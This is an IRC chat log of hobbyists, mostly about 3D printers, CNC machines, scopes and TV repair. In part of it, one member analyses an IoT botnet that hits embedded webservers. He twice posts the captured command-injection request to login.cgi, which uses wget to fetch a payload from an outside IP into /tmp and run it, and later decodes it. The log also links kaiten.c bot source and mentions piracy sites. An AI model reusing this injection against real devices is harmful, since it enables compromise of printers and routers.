#garfield Logs
Aug 27 2018
#garfield Calendar
12:04 AM rue_: OMG ok, there is a MOVE command you can use to make all the hacked machines change server
12:18 AM rue_: pupetmaster by the nick of "light"
12:18 AM rue_: there is a light on freenode
12:18 AM rue_: same one ya think?
12:19 AM katsmeow: i dunno
12:19 AM rue_: oh this is cool
12:19 AM rue_: ok, so, the problem I'm having is that I dont seem to be in the right channel
12:20 AM rue_: the server says there is only one channel with ~1800 users
12:20 AM rue_: (hacked machines)
12:20 AM rue_: the irc server is on port 444
12:21 AM rue_: zhanx, you .. following?
12:55 AM * katsmeow waves gnites
01:58 AM rue_: zhanx, this is crazy
01:58 AM rue_: so, the root of their exploit is a webserver attack
01:58 AM rue_: BUT
01:58 AM rue_: its only got binaries for arm, arm7, mips, and mspl
02:02 AM rue_: so its targeting embedded systems running websevers
02:02 AM rue_: WTF
02:32 PM zhanx: rue_, 99% of internet enabled printers / devices have an embedded webserver
02:33 PM zhanx: which are way harder i would be to detect they are hacked
05:47 PM zhanx: ok waiting on a new mega board, cleaned up all the wiring, added a cheap led strip to light up the work area https://imgur.com/a/NFxwAxt
05:48 PM Tom_L: latest mill improvement: http://tom-itx.no-ip.biz:81/~webpage/cnc/Bearing_Bracket/Bearing_Bracket5.jpg http://tom-itx.no-ip.biz:81/~webpage/cnc/Bearing_Bracket/Bearing_Bracket6.jpg
05:48 PM zhanx: no more dark pics rue_ that are hard to see
05:49 PM zhanx: what i am looking at Tom_L ?
05:49 PM zhanx: the front plate or the new handle ?
05:49 PM Tom_L: either
05:49 PM zhanx: i like that handle
05:49 PM Tom_L: the bearing brackets keep the neoprene from rubbing as you can see
05:49 PM Tom_L: i like the handle, never use the stock one now
05:50 PM zhanx: that a custom pendant i see part of?
05:50 PM Tom_L: yes
05:51 PM Tom_L: http://tom-itx.no-ip.biz:81/~webpage/cnc/pendant/pendant2.jpg
05:51 PM zhanx: that is nice
05:52 PM Tom_L: boeing surplus box
05:52 PM Tom_L: i got some more the other day
05:52 PM zhanx: after i do the 3d scanner the wife ok'd me starting on a cnc
05:53 PM zhanx: so this winter I might have time to start getting the rails and base for it
05:53 PM Tom_L: http://tom-itx.no-ip.biz:81/~webpage/cnc/Mill_Steel/Boxes.jpg
05:53 PM zhanx: i need to pick up the free lathe I got
05:53 PM zhanx: dirty but they will work
05:54 PM Tom_L: they have bigger ones all the time but the small ones are harder to come by
05:54 PM Tom_L: sitting out in the rain
05:54 PM zhanx: I got a 6ft lathe for free
05:54 PM Tom_L: nice one
05:54 PM zhanx: its 5hp
05:54 PM zhanx: looks to be in great shape
05:54 PM zhanx: that will be modded to cnc for sure
05:55 PM zhanx: I will be able to make my hardware with it
05:56 PM Tom_L: single phase?
05:56 PM zhanx: yep
05:57 PM zhanx: its been in a shed since the 80's I was told
05:59 PM zhanx: I also redid my bed mounts with thumb screws
05:59 PM zhanx: so i can adjust it easier
06:01 PM Tom_L: you'll probably need a starter relay for that motor
06:01 PM Tom_L: my compressor has a big one on it
06:01 PM zhanx: Tom_L, I need to run through the whole thing, hasn't been used in 20+ years
06:01 PM Tom_L: unless it's already got one
06:01 PM zhanx: i just need to make space for it
06:02 PM Tom_L: if you have trouble doing that just let me know
06:02 PM zhanx: I can do that, i was an A/C tech once in my life
06:02 PM Tom_L: what tooling does it have?
06:02 PM zhanx: but if i screw it up I will ask
06:02 PM zhanx: no tools
06:02 PM Tom_L: no i mean finding a spot for it...
06:02 PM Tom_L: :)
06:03 PM zhanx: oh
06:03 PM zhanx: lol
06:03 PM Tom_L: 3 - 4 jaw chuck?
06:03 PM zhanx: its just the lathe as by winter they want the shed cleaned out
06:03 PM zhanx: 4
06:03 PM Tom_L: that's all i've got on mine but i don't mind at all
06:03 PM zhanx: I thought 3 was better, but research is spotty on it
06:04 PM Tom_L: takes longer to center but you can be sure it's centered
06:04 PM zhanx: I haven't used a lathe since highschool
06:04 PM zhanx: but i figure make a small fireball li
06:04 PM Tom_L: i used my bud's manual and cnc but i'd be hard pressed to remember how his works now
06:05 PM zhanx: like cnc and us that to make the stuff for the lathe
06:05 PM zhanx: then between the 3d printer, the cnc and the lathe, i will not have an excuse to make my stuff
06:06 PM Tom_L: yup
06:06 PM zhanx: plus all the kids will be in school this year now
06:06 PM Tom_L: what are you planning to use for cad cam?
06:06 PM zhanx: I use openscad, haven't looked into the cam yet
06:06 PM zhanx: still in the planning part of that
06:07 PM Tom_L: likely not the best choice for cnc
06:07 PM zhanx: last time i used linuxcnc for cnc
06:07 PM Tom_L: freecad has come quite a ways lately
06:07 PM zhanx: but that was my desktop A10 and a few years ago
06:07 PM Tom_L: i would recomend linuxcnc for the control
06:07 PM Tom_L: i remember it
06:08 PM zhanx: yea, you made my z probe for it
06:08 PM zhanx: I need to make another one of those
06:08 PM Tom_L: i found the other one
06:08 PM Tom_L: sitting in the tool holder rack :D
06:08 PM zhanx: good place for it
06:08 PM Tom_L: i never use it
06:09 PM zhanx: use my mine to level the bed
06:09 PM Tom_L: it was a 'see if i can' thing
06:09 PM zhanx: after that, never needed it
06:14 PM zhanx: Tom_L, I still have the pc that ran the linuxcnc so that is a bonus
06:15 PM Tom_L: it's gotten some nice features since then
06:16 PM zhanx: i see they released a new version finally
06:17 PM Tom_L: 2.7.14 is current
06:17 PM Tom_L: one nice thing i used the other day was 'run from line'
06:17 PM Tom_L: if you break a tool or need to adjust it you can stop and reset it and continue where you were (i went from the last Z move)
06:18 PM zhanx: they went back to debian and stopped using ubuntu i see
06:18 PM Tom_L: that's more a flavor support thing for RTAI
06:18 PM Tom_L: it's just the ripple effect from that
06:18 PM zhanx: thats what i figured, as ubuntu is moving away from that
06:18 PM Tom_L: it works on mint too
06:19 PM zhanx: i am running 18.04 right now
06:19 PM Tom_L: mint or ubuntu?
06:19 PM zhanx: ubuntu
06:19 PM zhanx: mint lost a few things i needed so switched back to ubuntu
07:17 PM zhanx: debating on tearing down these printers or waiting
07:18 PM zhanx: i have 4 now
09:28 PM __M00N__: pooot!
09:29 PM zhanx: hey moon
09:29 PM __M00N__: hay
09:29 PM __M00N__: hows things on the channel today?
09:29 PM zhanx: slow
09:30 PM __M00N__: :/
09:30 PM __M00N__: well i think they are about to pick up slightly
09:30 PM zhanx: yep
09:31 PM zhanx: i fixed all the wiring mess on my printer and added cheap led light strip to it https://imgur.com/a/NFxwAxt
09:33 PM __M00N__: that's some bright stuff
09:33 PM rue_shop4: ah, there you are
09:34 PM __M00N__: here I am
09:34 PM Tom_L: i'm over here
09:34 PM __M00N__: :P
09:34 PM rue_: GET /login.cgi?cli=aa%20aa%27;wget%20http://209.141.33.86/d%20-O%20-%3E%20/tmp/.shinka;sh%20/tmp/.shinka%27$ HTTP/1.1
09:35 PM rue_: that was the key to it all
09:35 PM __M00N__: k leme look
09:35 PM rue_: 3E is >
09:35 PM rue_: back to welding, bbl
09:35 PM katsmeow: k
09:36 PM katsmeow: should i leave, so you can stay ?
09:36 PM Tom_L: you should stay so i can go
09:36 PM katsmeow: ummm
09:36 PM zhanx: great i am confused again
09:37 PM Tom_L: http://tom-itx.no-ip.biz:81/~webpage/cnc/Bearing_Bracket/Bearing_Bracket5.jpg
09:37 PM Tom_L: mounted my brackets today
09:38 PM katsmeow: ylooks nice, but you know me, i;d have used two 1" pieces of 1" steel angle
09:38 PM rue_shop4: katsmeow, stay!
09:38 PM * katsmeow sits
09:38 PM rue_shop4: no, I meant that with a freindly, excited tone....
09:38 PM Tom_L: yeah, i need excuses to mill stuff though
09:39 PM * katsmeow sits in a friendly excited way
09:39 PM __M00N__: XD
09:39 PM * katsmeow looks at the furrywolf
09:39 PM zhanx: https://imgur.com/a/NFxwAxt
09:39 PM zhanx: kats i got more leds for fun
09:40 PM katsmeow: oh, ok
09:40 PM __M00N__: so rue, how many routers or things have a "cli" variable?
09:40 PM katsmeow: those just to make it look pretty ?
09:40 PM zhanx: __M00N__, lots
09:40 PM zhanx: katsmeow, no it was cheaper than a lamp
09:41 PM zhanx: the strip was 4 dollars and a lamp was 5.99
09:41 PM __M00N__: thats crazy that they would use an interface like that
09:41 PM zhanx: __M00N__, I put rue on to this
09:41 PM __M00N__: Oh
09:41 PM zhanx: I work on printers for stores
09:41 PM __M00N__: network printers ?
09:41 PM zhanx: all the chain stores use a network printer that have web interfaces
09:42 PM __M00N__: ok
09:42 PM __M00N__: are they often running a sall linux?
09:42 PM __M00N__: small*
09:42 PM zhanx: all i wanted to know was how are they doing it. at first it was they can't, well they are and no they aren't etc
09:42 PM rue_shop4: BANG BANG BANG!!! pipe go togethor now? NO???? BANG BANG BANG BANG BANG!!!!
09:42 PM zhanx: embeded
09:43 PM zhanx: heck i could give rue_shop4 the server password for some of them
09:43 PM Tom_L: password?
09:43 PM zhanx: but he would need to know ip's which i don't know
09:43 PM __M00N__: hmmm my mind is turning
09:43 PM katsmeow: https://imgur.com/gallery/Hrcsbkd
09:44 PM rue_shop4: HAHAH SHE DID A ROBOT GLASSES!!
09:44 PM rue_shop4: COOL
09:44 PM __M00N__: cute inventriss?
09:45 PM katsmeow: inventress? as if it is necessary to implicitly say she is female?
09:46 PM __M00N__: HA
09:46 PM zhanx: its current year katsmeow people go out of their way to point out that a woman is woman
09:46 PM zhanx: instead of making about the work they are doing, its sad
09:48 PM __M00N__: suppose ill call males invent-pigs XD that could be cool
09:50 PM zhanx: you can call me whatever you want, but I would prefer you focused on what i did vs what sex I am
09:51 PM __M00N__: right on
09:52 PM katsmeow: she has a Tektronix scopemobile in her new shop
09:52 PM __M00N__: what is that?
09:52 PM zhanx: https://www.ebay.com/p/Tektronix-7603-Analog-Oscilloscope/96942551?iid=381919866276&chn=ps
09:53 PM __M00N__: wow, sizable unit.
09:54 PM zhanx: I bet that is what she said
09:54 PM katsmeow: the wheeled carrier can carry all the scopes Tek made
09:54 PM katsmeow: one at a time
09:54 PM zhanx: kat whats the weight on those?
09:55 PM katsmeow: the old one maybe 50lbs, the one with switcher psu are ~40lbs
09:55 PM katsmeow: the portables are like 10 lbs or less
10:00 PM * katsmeow has 7603, 7603R, 7609R, and 7103
10:00 PM katsmeow: err
10:00 PM * katsmeow has 7603, 7603R, 7903R, and 7104
10:01 PM zhanx: one day i will have one
10:02 PM katsmeow: with a few exceptions , the mainframe only dictates the max speed, the plugins do all the processing work
10:03 PM katsmeow: the 78xx series are signal processing workhorses tho
10:12 PM zhanx: well got some data off the wife's phone
10:12 PM zhanx: better than zero I guess
10:13 PM zhanx: 1038 files for 5.2 gigs
10:15 PM zhanx: next up is this stupid xbox hd I get to clone
10:22 PM rue_shop3: ok, the second subring of the 2nd ring is welded
10:22 PM rue_shop3: now I need to grind it (later)
10:22 PM katsmeow: zooming right along!
10:22 PM Tom_L: how you gonna attach em all?
10:22 PM katsmeow: bolt bearings to the spreaders tween each pair of rings
10:29 PM rue_shop4: i
10:29 PM rue_shop4: I dont know
10:29 PM rue_shop4: if I will be able to move the 3rd subrings
10:29 PM rue_shop4: they will be FREAKING HUGE
10:30 PM rue_shop4: to put it lightly
10:30 PM rue_shop4: would be much eaiser if I had the robot to control them
10:30 PM rue_shop4: er, they control to move them, to make them...
10:30 PM rue_shop3: but for today, I can check off "12' mecha
10:30 PM rue_shop3: "
10:34 PM katsmeow: put the big rings on jacks as high as 1/2 the dismeter, then hoist the smaller rings up into place inside the bigger ring
10:34 PM katsmeow: diAmeter
10:36 PM rue_shop3: its building the last set that has be worried
10:37 PM rue_shop3: I'm strong enough, but not big or heavy enough to move them, I was borderline for these ones
10:38 PM katsmeow: how much do they need moving?
10:39 PM rue_shop3: well I have to get them off the table after all the peices are welded togethor
10:39 PM rue_shop3: so far, I flip them up and roll them around
10:39 PM katsmeow: why flip them up and roll them around?
10:39 PM furrywolf: yay, free stuff! got four big AGM batteries, 2016 date codes, tested good, for $0.
10:40 PM rue_shop3: easier then dragging them
10:40 PM rue_shop3: furrywolf, nice
10:40 PM katsmeow: rue, can you leave the big ones where they are?
10:40 PM rue_shop3: 48V UPS for winter?
10:40 PM katsmeow: congrats, furry
10:40 PM rue_shop3: they dont exist yet, and no, I build them on my special flat table
10:41 PM katsmeow: ok, then hoist the first big hoop UP, build the next big loop, then lower the 1st one down and weldd them together
10:42 PM furrywolf: apparantly the local coast guard changes out all their batteries every two years... even if they've never even hooked them up.
10:42 PM rue_shop4: sounds right
10:42 PM rue_shop4: lots of places do that, talk to the techs at the hospital
10:42 PM furrywolf: I got two sizes, two matching ones of each, I think they're groups 27 and 31.
10:46 PM furrywolf: 27 and 24
10:46 PM zhanx: rue_shop4, so you see the pic of the printer?
10:46 PM rue_: er missed it
10:46 PM zhanx: https://imgur.com/a/NFxwAxt
10:47 PM zhanx: no more bad pics for you
10:48 PM rue_: that pic looks better
10:48 PM furrywolf: current price $282/each plus core
10:48 PM zhanx: well i cleaned up all the wiring
10:48 PM katsmeow: damn
10:48 PM zhanx: changed the mounting system of the build plate
10:48 PM zhanx: got an extra 1.26 out of it
10:49 PM zhanx: inches
10:49 PM rue_: my buddy designed led saddle straps for those positions
10:49 PM furrywolf: some people will pay a lot of money trying to get an extra 1.26 inches
10:49 PM rue_: ? what did you change?
10:49 PM zhanx: used your plate mounts and went to thumb screws
10:50 PM rue_: furrywolf, just cut of 3/4" send it in the mail and you will get 1.5 inches mailed back!
10:50 PM rue_: zhanx, ok
10:50 PM rue_: or more, if you sign up freinds
10:50 PM zhanx: so instead of needing the extra room to adjust, i can get it closer
10:50 PM rue_: zhanx,
10:50 PM zhanx: only need 3mm off the bottom plate now
10:50 PM rue_: for the Z, where are the top nuts and the springs?
10:51 PM zhanx: ?
10:51 PM zhanx: springs?
10:51 PM rue_: hah
10:51 PM zhanx: you told me only bottom nuts
10:52 PM zhanx: you were very very clear on that
10:52 PM rue_: ok, there is supposed to be another nut in the top of the unit there, with a spring under it that is a backlash system
10:52 PM zhanx: ok
10:52 PM rue_: on the Z rods? no
10:52 PM zhanx: will add it
10:52 PM zhanx: yes you did
10:52 PM rue_: }:/
10:52 PM zhanx: I had to take the nuts off of it
10:52 PM rue_: no, that had to be a mixup with someting else
10:52 PM zhanx: ok
10:52 PM rue_: you need those backlash springs
10:52 PM zhanx: this whole printer has been a mix up
10:53 PM rue_: well, its your first
10:53 PM rue_: :)
10:53 PM zhanx: true
10:53 PM furrywolf: now, what to do with them. I'll probably use them for the shop power system. I was going to use four golf cart batteries, but these are better for indoor use.
10:53 PM rue_: something about the build plate is crookid
10:53 PM rue_: I think its rotated
10:54 PM zhanx: its not level its just sitting on it
10:54 PM rue_: ok
10:54 PM * furrywolf shares thai style chicken curry soup with katsmeow
10:54 PM zhanx: i will get that back into the same tolerance as before
10:54 PM zhanx: but way faster this time
10:55 PM rue_: the back X spacer is ????
10:55 PM katsmeow: mmmmmmm
10:55 PM furrywolf: katsmeow: how much hot should I put in? the local thai place has a most excellent red powder...
10:55 PM rue_: mild! go mild!
10:55 PM zhanx: rue pic of what you mean?
10:55 PM rue_: oh the burning!
10:59 PM rue_: zhanx, in that pic the two X rails
10:59 PM rue_: the frontmost one has its spacer-retainer to the left
10:59 PM furrywolf: I don't know what they're grinding up to make it, but it's many times hotter than any chili powder I've bought.
10:59 PM katsmeow: furry : experiment
10:59 PM rue_: but the back one seems to be sitting to the immediate right of the cariiage
10:59 PM zhanx: yep and the right is the rear, remember i had to dril them out
10:59 PM katsmeow: people's tastes vary
10:59 PM zhanx: its loose
10:59 PM furrywolf: katsmeow: I mean for you. :)
10:59 PM furrywolf: I know how much I'm putting in mine!
10:59 PM rue_: loose?
10:59 PM zhanx: I am working on a spacer block to mic them to the same spacing
10:59 PM katsmeow: *mild*
10:59 PM rue_: it counteracts the belt tension tho, you dont want to be pulling in on the Z rails
10:59 PM rue_: ok
10:59 PM zhanx: my caliper is only 6"
10:59 PM furrywolf: awww. /me puts just a little sprinkle on kat's.
10:59 PM zhanx: rue on my last check today, I was 4.2 mm at the top vs the bottom
10:59 PM zhanx: so i need to fix for my z axis to have less drag
10:59 PM furrywolf: the waitress told me the secret for getting hot food from them... order it "thai hot". this tells the cook that you want it what would be considered hot in thailand, not white person hot. which, if you don't specify thai hot, is extra mild.
10:59 PM rue_: belt pulls togetor, those rods space apart
10:59 PM katsmeow: k
10:59 PM zhanx: tomorrow when I get home from work, I plan on getting it closer
10:59 PM zhanx: rue_, I realize that
10:59 PM rue_: its loking good
10:59 PM katsmeow: i seldome eat out, and usually get a pizza if i want takeout
10:59 PM rue_: I with it would stop blowing up
10:59 PM rue_: wish
10:59 PM rue_: ok, I need supper
10:59 PM * furrywolf isn't a pizza fan
10:59 PM rue_: ooooh I hate cooking
10:59 PM zhanx: rue_, to be fair that was me that blew it up
10:59 PM zhanx: now with the new lighting no excuse
10:59 PM rue_: I know, but, still, arg
11:00 PM zhanx: wife is ok with it
11:00 PM furrywolf: my chinese breakout board exploded... literally, exploded. defective caps, I decided.
11:00 PM rue_: she has had a taste
11:00 PM zhanx: she wants it back up and running now
11:00 PM zhanx: yep
11:00 PM rue_: breakout furrywolf ?
11:00 PM rue_: zhanx, do you want my 2:1 geared axies for it?
11:00 PM zhanx: her 86 year old grandfather had a tear when he saw that 3d deer I printed for him
11:00 PM zhanx: yes
11:01 PM rue_: no speed loss, but it wont drop steps if it snags a little
11:01 PM rue_: zhanx, ok, well, do you have any 5mm rod?
11:01 PM zhanx: I need to print a new y axis and a new extruder mount also
11:01 PM zhanx: lots
11:01 PM furrywolf: rue_: https://www.omc-stepperonline.com/image/cache/catalog/stepper-driver/5-axis-cnc-breakout-board-interface-mach3-cnc-router-kit-408-1000x1000.JPG like that
11:01 PM rue_: about 20cm?
11:01 PM rue_: ok
11:01 PM rue_: zhanx, I have a bind-free Y axis
11:01 PM rue_: design
11:01 PM zhanx: k
11:02 PM zhanx: i told the wife and i know you will help with this rue, i don't need to spend 400 on a printer just time on this one
11:02 PM rue_: furrywolf, ugh, horrid voltage unipolar
11:02 PM furrywolf: if I ever decide to 3d print something, I'll probably just stick an extruder in the spindle on my mill.
11:03 PM furrywolf: rue_: it's not that. it just routes parallel port signals to your stepper drives.
11:03 PM rue_: sometimes a $300 3d printer can give you the same pile of spagetti
11:03 PM furrywolf: it doesn't drive anything itself. hence, breakout board.
11:03 PM rue_: oh
11:03 PM rue_: oh its what blew up!
11:03 PM rue_: did they put the caps in backwards? :)
11:04 PM furrywolf: dunno. wasn't much of them left.
11:04 PM rue_: they did that to me on a dc-dc boost
11:04 PM rue_: *BANG*
11:04 PM rue_: 8-|
11:05 PM furrywolf: I'm driving centent CN0165s. non-horrid stepper drives.
11:05 PM furrywolf: http://www.centent.com/CN0165.html
11:05 PM rue_: katsmeow, how can electricity be used as a substitute for food?
11:05 PM katsmeow: um, non?
11:06 PM zhanx: well a high enough dose of electricity will mean you never need to eat again
11:06 PM rue_: furrywolf, looks a bit large, but nice
11:06 PM furrywolf: ... large?
11:06 PM rue_: zhanx, oh, oh oh how high!!!!
11:06 PM rue_: :)
11:06 PM rue_: furrywolf, I'm sure its not, it looks big tho
11:07 PM furrywolf: https://i.ytimg.com/vi/AJDBD4ZDkb8/maxresdefault.jpg
11:07 PM rue_: furrywolf, you have a cnc?
11:07 PM zhanx: 1.21 gigawatts
11:07 PM furrywolf: is that big.
11:07 PM rue_: for oen motor thats a bit big
11:07 PM rue_: zhanx, gig or jig?
11:07 PM zhanx: depends on the year
11:08 PM furrywolf: ... did you look at the specs?
11:08 PM rue_: wait, furrywolf thats a brushless motor not a stepper isn't it?
11:08 PM rue_: no, ... I think I should have
11:08 PM furrywolf: dunno, it's a random google images result that shows how big the cn0165 is.
11:08 PM rue_: furrywolf, do you have a cnc?
11:08 PM furrywolf: it's 10A at 80V.
11:08 PM rue_: ah
11:08 PM rue_: oof
11:09 PM furrywolf: this is quite a bit more muscle than the small multi-motor boards.
11:09 PM furrywolf: and, thus, somewhat larger.
11:09 PM rue_: yes
11:09 PM rue_: furrywolf, ... so, cnc?
11:09 PM furrywolf: it also does microstepping, adjustable current control, etc etc.
11:09 PM furrywolf: I have two.
11:09 PM zhanx: well this TV main board is junk
11:09 PM rue_: two axis cnc!
11:09 PM furrywolf: a sherline mini mill, and a chinese lathe/mill combo.
11:09 PM rue_: zhanx, BGA?
11:10 PM rue_: ah, converted sherline?
11:10 PM furrywolf: factory cnc
11:10 PM rue_: oooh $$$
11:10 PM zhanx: yep its a request the part and send it out to be repaited
11:10 PM furrywolf: craigslist.
11:10 PM rue_: working with mach3 I presume?
11:10 PM rue_: zhanx, who does board repair!?
11:10 PM furrywolf: no, it came with a flashcut setup.
11:10 PM furrywolf: I have the parts to linuxcnc it, just not the time.
11:10 PM rue_: furrywolf, never heard of it
11:10 PM zhanx: its sent to china
11:11 PM rue_: is it parallel port?
11:11 PM rue_: grbl is WAY faster than parallel port
11:11 PM furrywolf: flashcut is a windows cnc driver system. uses a hardware step generator, no hard realtime on the control computer.
11:11 PM zhanx: I just get the parts in and replace them after i figure out what is wrong
11:11 PM rue_: ah
11:11 PM furrywolf: https://www.flashcutcnc.com/
11:11 PM zhanx: Its an easy gig for side money
11:11 PM zhanx: 150 bucks average a tv
11:12 PM zhanx: no dealing with customers
11:12 PM rue_: zhanx, is it a failed bga?
11:12 PM zhanx: it is
11:12 PM zhanx: rue_, its super common with this model
11:12 PM zhanx: not enough flux
11:12 PM furrywolf: "Easy to Use, Robust and Affordable CNC Controls Since 1996 " one part of that is right... since 1996.
11:13 PM rue_: I'v seen a lot of tv's go brain dead due to BGAs
11:13 PM furrywolf: it's none of the other three. :)
11:13 PM rue_: apparently not all bga fail nice, some tear the pads off the chip/board
11:13 PM zhanx: rue_, they skimp on the flux so when the get hot the connection dies
11:13 PM zhanx: per the manufacturer
11:14 PM * furrywolf thinks skimping on the lead (i.e. RoHS, etc) causes most of the problems
11:14 PM zhanx: furrywolf, true but, if they cut out a .25 oz of flux per tv it saves money when you make a million or so
11:15 PM zhanx: i got a 70 in Vizio tomorrow to look at. but i think its the psu on it
11:16 PM * furrywolf has 0 TVs.
11:16 PM zhanx: well i own 2, have 5 at the house right now
11:18 PM rue_: I have 3 tv's
11:18 PM rue_: - the first colour tv ma got me for my bd when i was a kid (fixed it 3 times, it works)
11:18 PM zhanx: rue_ if you had more free time i would tell you to pick up the repairs
11:19 PM rue_: - a tv with a vcr/dvr that I was given from a fellow moving to england
11:19 PM furrywolf: I have none. don't like TV.
11:19 PM rue_: - the tv I grabbed at the company christmas party cause I got some notion I wanted to watch tv
11:19 PM zhanx: furrywolf, I don't have cable if that helps
11:19 PM * katsmeow has a tv-convertor thingie driving a spare olde vga monitor
11:19 PM rue_: they all sit off, in the living room, unplugged so as not to accumulate standby wear
11:19 PM rue_: yea, and I got rid of cable
11:20 PM zhanx: my oldest has one in his room for video games and internet
11:20 PM zhanx: and then we have one in the living room
11:20 PM rue_: after 2 months of turning the tv on, flipping thru all the channels of ads, finding out the 1 program I wanted to watch had either been moved to another time or canceled, and turning it off
11:21 PM zhanx: i got netflix if i can find time to sit on the couch
11:21 PM rue_: I used the money I saved to get netflix and a better internet connection
11:21 PM rue_: but I rarely even watch netflix, easy money for them
11:21 PM furrywolf: no kids, either. :)
11:21 PM zhanx: I watch 123moviesfree.com most of the time as background noise in my workshop
11:22 PM zhanx: workshop is a "loose" term
11:22 PM rue_: honestly I'v found more interesting things in "short film" on youtube than netflix
11:22 PM rue_: *but* im in canada, netflix sucks
11:22 PM zhanx: ok rue_ did you do a 3d laser scanner yet?
11:23 PM furrywolf: my background noise is music. :)
11:23 PM * furrywolf is, in fact, getting more from rutracker at this very moment
11:23 PM zhanx: furrywolf, same here most of the time
11:23 PM zhanx: pithos is alway on
11:24 PM zhanx: but then i get tired of the ads
11:24 PM rue_: rutracker?
11:24 PM furrywolf: never heard of pithos.
11:24 PM zhanx: its linux pandora player
11:24 PM furrywolf: rue_shop4: http://rutracker.org/
11:25 PM zhanx: https://www.thingiverse.com/thing:740357
11:25 PM rue_: my russian is a tad rusty
11:25 PM furrywolf: so is mine. :P
11:26 PM zhanx: my german is terrible now, i barely learned Arabic
11:26 PM rue_: zhanx, I built on back in 2002, show me the software!!!!!
11:26 PM furrywolf: https://rutracker.org/forum/viewtopic.php?t=4885072 favorite thing I've downloaded lately.
11:26 PM zhanx: https://github.com/bqlabs/horus there you go rue_
11:28 PM rue_: ok! I finished registering all 22 bots!
11:28 PM mexorme2: hi!
11:29 PM rue_: oh its buittorrent
11:29 PM rue_: it was REALLY hard comming up with 22 bot names
11:29 PM zhanx: 0-21?
11:29 PM katsmeow: pic every other 9 letter word from dictionary, spellit backwards, register it
11:30 PM rue_: no, unique, non suspicious bot names
11:30 PM katsmeow: you know, like tobbor
11:30 PM rue_: well, I was surprised there were no collisions
11:30 PM rue_: :)
11:30 PM furrywolf: https://www.youtube.com/watch?v=0UTodk1ccG0 example track from that download
11:30 PM katsmeow: suoicipsus
11:30 PM zhanx: do what the democrats did during the election for sheria blue, firstname_lastname and a date off the baby name lists
11:30 PM rue_: I needed 22 bots to put in the channels to get the spammers attention so I can figure then out
11:31 PM rue_: furrywolf, nothing personal, I dont have to worry about this content do I?
11:31 PM zhanx: they made a million+ bots like that
11:31 PM rue_: but they didn't register then
11:31 PM rue_: mine are all registered
11:31 PM zhanx: nope
11:31 PM furrywolf: .... is hard rock something you worry about?
11:31 PM rue_: no
11:32 PM furrywolf: then, no, you don't need to worry about that content.
11:32 PM rue_: as long as it wasn't chosen by 'bill' my old roommate
11:32 PM zhanx: rue_ they made them post reddit content via irc
11:32 PM rue_: ooh, its not video its audio!
11:32 PM rue_: ok, I need food
11:33 PM rue_: zhanx, would you like to see their bot code?
11:33 PM rue_: I think its the same code
11:33 PM zhanx: rue_, yes, i need to write up a thing for RTG
11:33 PM furrywolf: Tobor, Diordna, Laicifitra, Enihcam, Tnacilper, umm....
11:33 PM zhanx: since I fix most of their crap
11:34 PM zhanx: I saw you link from last night
11:34 PM zhanx: your
11:34 PM katsmeow: furry, exactly, they sound like medicine names
11:35 PM rue_: omg, I have too many tabs and I cant find it
11:35 PM katsmeow: someone yrs ago made software to see if they would be easy to pronounce
11:35 PM katsmeow: generatine nicks/names is an olde problem
11:36 PM furrywolf: I download random music sometimes... that's my current favorite of the bands I've downloaded lately. That song is a good song of theirs.
11:36 PM furrywolf: your opinion may differ, of course.
11:37 PM rue_: I get music from undernet
11:37 PM furrywolf: I haven't been on undernet in like 20 years.
11:37 PM rue_: mp3_collective or mp3passion
11:37 PM rue_: its a dip-in-and-out thing
11:37 PM zhanx: rue_, you talking this link https://dl.packetstormsecurity.net/irc/kaiten.c
11:37 PM furrywolf: you should try rutracker. it is, by far, the best bittorrent tracker around right now, from what I can tell.
11:37 PM rue_: damn!
11:38 PM furrywolf: no account needed
11:38 PM rue_: haha thats not the REAL kaiten.c tho!
11:38 PM furrywolf: and the russians seem to be very ethical, in that everyone sits around and seeds, so your downloads always max out your connection.
11:38 PM furrywolf: (you should also be a good person and help seed)
11:38 PM * katsmeow looks concerned because et tv is down
11:39 PM rue_: the rel channel is #DumPz
11:39 PM zhanx: its part of an old base for code rue
11:39 PM furrywolf: I get music from rutracker faster than I get speed tests. :)
11:39 PM rue_: and those aren't the real servers
11:39 PM zhanx: if you found on the net its old
11:39 PM zhanx: rue_, forgot tor
11:39 PM rue_: but its really close
11:40 PM zhanx: its the base
11:40 PM rue_: and the key turns up in the strings as "%s-%s" and I cant trace what they are
11:41 PM rue_: I suppose if I did an arm dissassembly I might figure it out
11:41 PM zhanx: i still want to know the hack to put that on the machines
11:41 PM rue_: I posted it
11:41 PM rue_: GET /login.cgi?cli=aa%20aa%27;wget%20http://209.141.33.86/d%20-O%20-%3E%20/tmp/.shinka;sh%20/tmp/.shinka%27$ HTTP/1.1
11:41 PM rue_: note the .cgi and the semicolon
11:42 PM zhanx: yea but how does it work etc
11:42 PM katsmeow: it's hex for ascii chars
11:42 PM katsmeow: %20 = 32 = space
11:43 PM zhanx: I get that part kat, but how does the hack work
11:43 PM rue_: http://server/login.cgi?cli=aa ; wget http://server/script -O -> /tmp/bla ; sh /tmp/bla
11:43 PM rue_: its a bash script
11:44 PM rue_: it gets the binary via wget and executes it
11:44 PM zhanx: so basically the minihttp is that insecure
11:44 PM * rue_ shrugs
11:44 PM furrywolf: it's a broken script that's eval-ing user input, which is something you should never do.
11:44 PM rue_: wtf did someone use a bash cgi for?
11:44 PM furrywolf: probably forgot to quote the variable somewhere
11:45 PM rue_: damnit, that was teo 'go to bed' timer, i NEED to make supper!
11:47 PM katsmeow: rue, that same robot copter that flies you parts across the border can prolly goto town and get you a cheeseburger
11:50 PM katsmeow: afk a few
11:51 PM furrywolf: bah, no one liked the track I pasted.
11:57 PM furrywolf: bbl, wolfy bedtime
11:58 PM rue_: katsmeow, but the cheeseburger will cause me to have a heart attack cause my cholesterol is at like 350/100